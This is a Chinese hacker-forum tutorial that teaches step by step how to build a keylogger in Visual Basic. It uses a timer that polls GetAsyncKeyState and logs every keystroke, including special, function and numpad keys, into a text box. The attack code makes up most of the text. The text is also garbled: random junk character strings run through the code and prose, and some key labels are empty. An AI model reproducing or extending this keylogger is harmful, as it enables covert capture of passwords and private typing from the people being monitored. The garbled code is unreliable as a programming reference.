手把手教你做键盘记录器

韩冰

作者：小珂 转自黑基BBS原创作品版 f$ I: l- r' S. I5 t1 X版权归黑客基地所有， 转载请注明出处

前几天写了一篇键盘记录器，好多人反映看不懂， 对新人没什么用处，所以且这篇我会写的 . z8 D+ a4 d, F- a2 O' t' G很详细，再也不像那篇，出了代码什么也没 ^!^ 这个程序将会详细的讲解如何记载键盘的每一次输入。 下面介绍的这个程序主要是利用GetAsyncKeyState函数， 使用GetAsyncKeyState可以获得键盘的动作。 GetAsyncKeyState函数根据虚拟键表判断按键的类型。 - g: n. }6 K+ H2 d, ]. i9 @返回值为一个16位的二进值数，如果被按下则最高位为1， : o; j; m) X! N4 t即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义： 7 g5 ^2 T- t8 }1 M6 \Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer . q6 B- W# p, d7 t) d好了，函数就先介绍这么多，下面开始动手实战了 first,当然是创建窗口了 8 k- c3 Y, @$ [; p7 {. c & `$ n, Z. _) e/ w3 v$ S2 Z 5 e q( {* A1 _ 1 H) p' E& O: z* c. ?在时间控件的Timer时间中定义检查按键类型，代码如下： # W2 S! `0 r% O; Z& r. H3 eDim AddKey KeyResult = GetAsyncKeyState(13) '回车键 $ g" S7 k# Y# ]. ` If KeyResult = -32767 Then ! [/ J* I4 A9 I* E' ^+ B$ @ AddKey = "[ENTER]" GoTo KeyFound 3 l% c+ ~2 r% `2 b End If ! U8 {5 T- U* f8 t& } KeyResult = GetAsyncKeyState(17) 'Ctrl键 If KeyResult = -32767 Then AddKey = "[CTRL]" GoTo KeyFound : D' d6 f0 K- e2 K) K0 ] End If KeyResult = GetAsyncKeyState(8) '退格键 If KeyResult = -32767 Then ) s5 V& C, U# F8 f; I- g AddKey = "[BKSPACE]" GoTo KeyFound ' X# y7 U4 @" F3 W/ \1 X2 d+ { End If KeyResult = GetAsyncKeyState(9) 6 {, i x- R$ e If KeyResult = -32767 Then 4 F5 k) o/ o- N/ }$ t% A5 I AddKey = "[TAB]" 6 }* q5 v' \9 Z% ^ GoTo KeyFound 7 J7 d" d; j+ f; l0 e: {/ D- c End If 6 Y0 ^9 R# A* S. X5 M) I KeyResult = GetAsyncKeyState(18) ; S9 n3 r& [0 b; h* ]1 h, z& T4 o If KeyResult = -32767 Then AddKey = "[ALT]" GoTo KeyFound End If + v) N8 k4 q, @; `$ t/ v KeyResult = GetAsyncKeyState(19) 8 O8 Q* X, I% }; k6 r( ] If KeyResult = -32767 Then 9 B8 S. y6 N/ ?) X- V AddKey = "[PAUSE]" GoTo KeyFound End If 0 d; j+ b1 L! u E KeyResult = GetAsyncKeyState(20) If KeyResult = -32767 Then 3 h7 W4 S7 {1 l3 ^* f* ] AddKey = "[CAPS]" GoTo KeyFound End If ' w, e K7 I. S8 K" ?, U: O( d1 L KeyResult = GetAsyncKeyState(27) If KeyResult = -32767 Then AddKey = "[ESC]" GoTo KeyFound End If & l: { X. @% O" n" A KeyResult = GetAsyncKeyState(33) . K* ]$ y' ?4 a/ b5 x If KeyResult = -32767 Then AddKey = "[PGUP]" ! g2 p) ^- D0 a& R! G GoTo KeyFound 9 G/ d+ M" H- J, Z End If 6 _& z# r6 F% ]: w C KeyResult = GetAsyncKeyState(34) 0 Q* e) ^# ?' B; A( p If KeyResult = -32767 Then 0 P1 V$ h: g, I3 H AddKey = "[PGDN]" GoTo KeyFound 5 L g* P5 Q' i& Q End If KeyResult = GetAsyncKeyState(35) % o Z, g' B, f) p' ]6 g, q If KeyResult = -32767 Then AddKey = "[END]" GoTo KeyFound End If , S3 v: N' G+ ]$ R, {/ n * p8 c ]7 u5 `. J7 }+ a KeyResult = GetAsyncKeyState(36) If KeyResult = -32767 Then - w6 B- ~8 `* |" W/ k! b AddKey = "[HOME]" 0 `& ~0 ?$ Z9 `4 d7 d GoTo KeyFound End If ) Z" n& r9 C: C: a" E KeyResult = GetAsyncKeyState(44) If KeyResult = -32767 Then 0 V9 t9 k9 i4 R( a) v AddKey = "[SYSRQ]" GoTo KeyFound - z% i. R* v% P) M# r End If 0 b8 L0 Q" y4 h2 X8 K KeyResult = GetAsyncKeyState(45) : l8 G- `4 W1 r$ t; u, e If KeyResult = -32767 Then ' h5 m: R1 |# }! ] AddKey = "[INS]" GoTo KeyFound 7 T/ j- y! b% S8 {9 k End If KeyResult = GetAsyncKeyState(46) ! [2 z3 c8 K! G# E If KeyResult = -32767 Then AddKey = "[DEL]" 9 |* C) {: e3 _9 ~4 s GoTo KeyFound 1 Y: \5 w) W& `6 w% }$ [% Z End If * v1 B6 `! _& L/ p( a0 R& [* y( U1 t KeyResult = GetAsyncKeyState(144) If KeyResult = -32767 Then . K: S8 ?% v* Y AddKey = "[NUM]" GoTo KeyFound ' Q- n- K- a$ |% e3 K End If 4 [# x& w* L" [3 W0 s ! Q; ~6 |" n$ b2 V @ KeyResult = GetAsyncKeyState(37) 7 Y0 ^2 x; N' ?8 @$ N If KeyResult = -32767 Then % x+ ~; g0 ]- A2 b! y+ f AddKey = "

" 8 J$ g+ F( s8 E Z: T GoTo KeyFound + w: q+ d& y3 o0 R& k End If KeyResult = GetAsyncKeyState(38) If KeyResult = -32767 Then + Q! H* o( U7 e, Q& f! \/ \ AddKey = "[UP]" # Q; j m3 O* n, f' G( i GoTo KeyFound ; E3 @$ y! V- { @% L End If KeyResult = GetAsyncKeyState(39) If KeyResult = -32767 Then 9 D: ]# n# J" z$ ` AddKey = "

" ! ?7 x; C- i9 z- c. y GoTo KeyFound End If 7 ]( L2 g2 m* `: P KeyResult = GetAsyncKeyState(40) If KeyResult = -32767 Then 2 m" m0 w5 L6 S- r8 m: e, ] AddKey = "[DOWN]" GoTo KeyFound End If : I3 y% N, _/ N: I! w/ u 6 q$ w8 ?' @) v; p6 Z$ { KeyResult = GetAsyncKeyState(112) If KeyResult = -32767 Then AddKey = "[F1]" ! C7 k) [% W; }. L GoTo KeyFound End If 1 A) D( G+ E( ]+ H' d 3 e* {1 T4 l/ x: ~, FKeyResult = GetAsyncKeyState(113) If KeyResult = -32767 Then 9 r5 B2 [, N# G/ R7 G AddKey = "[F2]" " J( @7 S, Q3 C8 X( j GoTo KeyFound ( |; Y8 B D2 k8 ~ b, x5 \2 s End If 7 g& ?; r4 [7 T) T& y4 oKeyResult = GetAsyncKeyState(114) If KeyResult = -32767 Then AddKey = "[F3]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(115) If KeyResult = -32767 Then 7 {. V j& X9 _2 e' U AddKey = "[F4]" GoTo KeyFound 9 d) ]0 p7 {5 T- `2 Y' J End If + Q2 q; X Z% ~# Q8 IKeyResult = GetAsyncKeyState(116) If KeyResult = -32767 Then 9 e% u: b* ]4 Q$ H4 Z7 x AddKey = "[F5]" ' K2 r9 x7 K) w7 _: U n# I; H$ b GoTo KeyFound End If 3 z$ d# b' Q. Y0 l6 \1 N 1 d" k+ K, H/ E+ l/ mKeyResult = GetAsyncKeyState(117) 8 M4 l. u$ y# R3 I8 K0 |1 x If KeyResult = -32767 Then # n" j# G( o6 Q: X' f' [5 | AddKey = "[F6]" GoTo KeyFound End If 3 U% |7 R, k* P- z6 ] " M% E6 `5 f2 C: O& |) PKeyResult = GetAsyncKeyState(118) If KeyResult = -32767 Then AddKey = "[F7]" GoTo KeyFound 5 k- T( \' @! @9 ` End If KeyResult = GetAsyncKeyState(119) If KeyResult = -32767 Then ' b: g$ M, ~. x ] M- t0 K) ~ AddKey = "[F8]" GoTo KeyFound End If ; p3 B5 X% V, a4 u$ L+ n- ]: Y KeyResult = GetAsyncKeyState(120) If KeyResult = -32767 Then AddKey = "[F9]" ( E7 [# `4 N7 \4 ^4 X, F GoTo KeyFound * ]5 k* Y0 J3 B1 r5 S End If , Y* m& @3 J: ^1 R* l6 d) z + z6 r4 [" w- E, PKeyResult = GetAsyncKeyState(121) % c* }# L: m5 i! J) Q: W If KeyResult = -32767 Then AddKey = "[F10]" GoTo KeyFound c6 ^0 C$ l7 K- p! s, I End If % w T3 ^% @ J! [KeyResult = GetAsyncKeyState(122) If KeyResult = -32767 Then 3 l( h( h' r& l N, }) c AddKey = "[F11]" * ~2 y/ y& b! n$ T- H GoTo KeyFound End If 4 K2 F- S3 E* d- K2 n KeyResult = GetAsyncKeyState(123) If KeyResult = -32767 Then AddKey = "[F12]" . E0 ~# g# `0 b. r0 S GoTo KeyFound End If 0 ~0 |: z/ e' S p 9 N7 ?. o1 h! \3 r" x/ g- V% Z. \KeyResult = GetAsyncKeyState(124) If KeyResult = -32767 Then AddKey = "[F13]" GoTo KeyFound ' i w, k" k7 n; } End If , [+ E+ N$ a Z+ c" C2 AKeyResult = GetAsyncKeyState(125) If KeyResult = -32767 Then ' Z } M& \1 W) y AddKey = "[F14]" GoTo KeyFound 4 F: E, J# z w9 u5 o1 Y9 Z End If . V+ }- W* E9 E6 O: MKeyResult = GetAsyncKeyState(126) If KeyResult = -32767 Then @2 x1 m, E) l! z0 z. M) }3 } AddKey = "[F15]" GoTo KeyFound ' v% t) H- w2 {+ a/ K End If KeyResult = GetAsyncKeyState(127) If KeyResult = -32767 Then AddKey = "[F16]" GoTo KeyFound ^% ?: M: J3 s' T$ s End If N0 z9 y2 N$ {$ z0 t / Z! o$ n* d3 i* a ]KeyResult = GetAsyncKeyState(32) If KeyResult = -32767 Then ' u4 x# j! S0 Y" |) `6 r3 F: b AddKey = " " ) ?' a# @, ^6 z+ W GoTo KeyFound & U) \1 l2 R5 t6 @, H( ^: F, n End If KeyResult = GetAsyncKeyState(186) If KeyResult = -32767 Then AddKey = ";" GoTo KeyFound - V2 W" \5 ^+ N9 r" j End If : [# [9 `9 C7 x& C& B7 |2 j% m KeyResult = GetAsyncKeyState(187) 6 F8 d$ t6 C1 }4 T) t" Q If KeyResult = -32767 Then * n1 N% i8 K6 m! |8 ^& C8 x AddKey = "=" GoTo KeyFound 6 i; W L$ F& m% X5 ~* p End If KeyResult = GetAsyncKeyState(188) 8 F' I& C0 g0 k1 t; n If KeyResult = -32767 Then AddKey = "," ?- g7 q* x( w GoTo KeyFound End If KeyResult = GetAsyncKeyState(189) + _! c8 @3 q% h If KeyResult = -32767 Then AddKey = "-" GoTo KeyFound End If KeyResult = GetAsyncKeyState(190) " \2 g. p6 ^9 e: B1 O9 x* ~2 i If KeyResult = -32767 Then AddKey = "." GoTo KeyFound 7 N. \2 y) }7 _1 `& g2 a End If 5 ?4 K! T# j* W( K% ^ N K KeyResult = GetAsyncKeyState(191) If KeyResult = -32767 Then ( u8 d% [( c( I+ V# c& X AddKey = "/" '/ GoTo KeyFound End If KeyResult = GetAsyncKeyState(192) - I& F! B+ m5 ~$ i+ D# u If KeyResult = -32767 Then AddKey = "`" '` 2 v8 Y3 l! p4 w- n0 Q7 { GoTo KeyFound % _: }- b6 H, M% T4 G1 A End If k4 }/ V! R, q0 i$ i) a 1 b( T% c/ [( _& V4 t; a '----------NUM PAD h, b2 a+ Z! z D0 F2 ~1 X% _* eKeyResult = GetAsyncKeyState(96) - ~+ L. S: B. I/ X( } If KeyResult = -32767 Then AddKey = "0" " F) Y8 a* u' C1 F& u+ v; Z GoTo KeyFound End If 3 x9 N. p# p; ?5 N* S KeyResult = GetAsyncKeyState(97) If KeyResult = -32767 Then ( K+ ?4 J! `% [& a( X, b6 }9 j AddKey = "1" 0 L7 ?' v& a! w3 h. k GoTo KeyFound # [4 g( P/ ?* U: ?# `6 V End If - h. h) K) g. h/ ^4 n KeyResult = GetAsyncKeyState(98) If KeyResult = -32767 Then & c$ ]5 ~+ I7 V' k% D/ a: k- U AddKey = "2" 2 g+ B$ Y* B: C* Y8 Z' n GoTo KeyFound End If ' j% C1 w$ o3 L8 h1 ^9 O 1 J6 u' s5 P# @6 Z LKeyResult = GetAsyncKeyState(99) 3 b3 V! T8 ?8 e4 ?8 h( O% T If KeyResult = -32767 Then AddKey = "3" GoTo KeyFound End If % @! O2 }5 `1 ?% \9 t + T2 g# p3 g2 L6 c3 {) _KeyResult = GetAsyncKeyState(100) + r# v1 c* Y& M If KeyResult = -32767 Then , A$ w. Z; S5 `7 d7 V# f AddKey = "4" $ E/ s$ |# q6 c- e2 M GoTo KeyFound : g9 Z& x$ M8 f$ t" g End If KeyResult = GetAsyncKeyState(101) If KeyResult = -32767 Then , U& v" n3 Q$ Z5 t! \- G/ ? AddKey = "5" 3 U" H% c- p# ]# | y GoTo KeyFound End If ; G8 A1 H+ l& v 1 T' z3 y: d& `3 b$ o0 M$ F( AKeyResult = GetAsyncKeyState(102) If KeyResult = -32767 Then AddKey = "6" $ z( M9 T' F' `5 R+ D y& u0 w, l GoTo KeyFound End If ( I+ B. L$ s4 S 6 ?! {. y, l. }- B h; KKeyResult = GetAsyncKeyState(103) + s" H& Q- z7 [6 N1 H. K% f If KeyResult = -32767 Then AddKey = "7" 8 b1 @7 Q$ `8 ]8 c! G GoTo KeyFound End If : d t% L! [+ V0 K 7 H2 P8 [" d2 @3 Y8 a) n* p 4 V; c1 R+ `; c& BKeyResult = GetAsyncKeyState(104) If KeyResult = -32767 Then AddKey = "8" ; \. Y2 l+ o& `2 s GoTo KeyFound " H* P1 O1 c4 v: L. Z- c' V4 L/ e End If + x. w# Q/ g% h# O; K! p2 m% v ; ]6 L* i1 M1 X+ U; J6 n) x% G3 ~: P& NKeyResult = GetAsyncKeyState(105) If KeyResult = -32767 Then AddKey = "9" GoTo KeyFound 8 e. y: e& h4 r- j End If KeyResult = GetAsyncKeyState(106) % C: i& T U M% W2 L7 O. O$ y If KeyResult = -32767 Then 0 G+ S* I4 J9 j AddKey = "*" $ D& Z2 r z& q+ q0 a3 U4 v GoTo KeyFound / \* D( ^+ R( H' {' P End If KeyResult = GetAsyncKeyState(107) , ]1 p' P+ [+ H8 E8 _7 s( A If KeyResult = -32767 Then / H8 i: k5 V& t1 m7 L AddKey = "+" + v% }/ D- w' X/ s- S) ~$ E GoTo KeyFound * s5 z' T9 y; d7 \2 G& r End If KeyResult = GetAsyncKeyState(108) : C8 J5 ^: |% H& Z6 Q If KeyResult = -32767 Then 7 w: l- W" v# ^6 e+ ?$ ` AddKey = "[ENTER]" GoTo KeyFound $ h& G; `3 \4 @! H- h1 R# E End If 2 N* Q. d7 W. A4 C. s) QKeyResult = GetAsyncKeyState(109) 2 v" y" x8 n! w3 S' W' x7 M0 B If KeyResult = -32767 Then 2 }& R7 i$ j' Y; V; ^( m$ h AddKey = "-" GoTo KeyFound End If % Z% E+ Y7 H; O' h1 Z- \ KeyResult = GetAsyncKeyState(110) If KeyResult = -32767 Then AddKey = "." GoTo KeyFound : o) f, b; \. ?+ Z" X End If , T5 M" E( ]- C4 y: @, [1 Y % T# [8 ]7 B4 z6 P% k4 G" YKeyResult = GetAsyncKeyState(2) If KeyResult = -32767 Then 2 f5 E. c3 B+ `- O8 a* [ F AddKey = "/" 5 w3 q7 @: m i/ b1 Z4 n6 s: E/ y+ F GoTo KeyFound End If # G7 l% J( ~' X- |2 |2 J, ^ , m$ `* v3 P/ i" mKeyResult = GetAsyncKeyState(220) If KeyResult = -32767 Then " D2 z4 o$ S+ o8 l! x* Y AddKey = "\" GoTo KeyFound End If ' p9 W+ {( F( M% ?) W" V+ { " `, @1 |& ~3 sKeyResult = GetAsyncKeyState(222) - Q% V/ X$ k' `+ w% c! c/ K$ l If KeyResult = -32767 Then AddKey = "'" GoTo KeyFound + e7 y" v) x& [4 p3 `& o End If 6 b5 a- L% ~" ], ` KeyResult = GetAsyncKeyState(221) If KeyResult = -32767 Then AddKey = "]" GoTo KeyFound End If & e/ H K& L( i+ p3 Y6 O' w0 iKeyResult = GetAsyncKeyState(219) 8 R, p) i! |: ]9 w; P; A If KeyResult = -32767 Then % e% z1 O) G8 a AddKey = "[" GoTo KeyFound 5 r4 W) x0 w* e End If KeyResult = GetAsyncKeyState(16) 'shift键 If KeyResult = -32767 And TimeOut = 0 Then AddKey = "[SHIFT]" 4 k/ }3 M5 Y% t8 l/ U4 P8 q LastKey = AddKey TimeOut = 1 GoTo KeyFound End If * B! Y0 R0 }. A7 g0 x0 t. M0 } KeyLoop = 41 Do Until KeyLoop = 256 ' 显示其他键 KeyResult = GetAsyncKeyState(KeyLoop) 1 Y$ u1 S& V; f" p6 C, W If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) KeyLoop = KeyLoop + 1 8 _7 }1 L4 _7 L2 O9 R; _ Loop ( W2 L2 k' ~7 ^1 j' A0 D; F LastKey = AddKey Exit Sub KeyFound: '显示键的信息 2 f% k" R# g% b; |Text1 = Text1 & AddKey End Sub * e+ v k6 b' A上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，…… / }' f: \; I7 w* l4 b& p由于数目太多，一一列举不方便 现提供Ascii表一份供对照 ! n) ^' F/ i3 i0 d7 jhttp://www.cstudy.cn/repository/ascii/default.htm 1 _2 o( T4 ]+ i O下面是其他的事件 Private Sub Timer2_Timer() * U' [' e, y5 P8 @* U! qTimeOut = 0 5 T. ~2 h' s& R. YEnd Sub ' t. D G+ i% p目的是随时刷新清空